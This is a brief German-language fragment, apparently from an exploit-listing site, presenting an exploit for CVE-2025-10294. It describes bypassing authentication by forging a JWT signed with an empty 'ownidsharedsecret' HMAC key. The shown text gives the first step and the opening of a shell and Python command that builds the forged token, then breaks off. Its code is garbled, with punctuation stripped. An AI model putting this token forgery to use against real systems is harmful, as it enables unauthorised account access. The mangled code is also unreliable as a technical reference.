CVE-2025-10294

Exploit: Authentifizierungsumgehung via leeren ownidsharedsecret JWT-Fälschung 1 Erstelle ein gültiges JWT mit einem leeren HMAC-Schlüssel root@kitploit: SUB= SUB="$SUB" python3 - /tmp/jwt.txt import base64, hmac, hashlib, json, time, os b64u = lambda b: base64.urlsafeb64encodeb.rstripb'='.decode...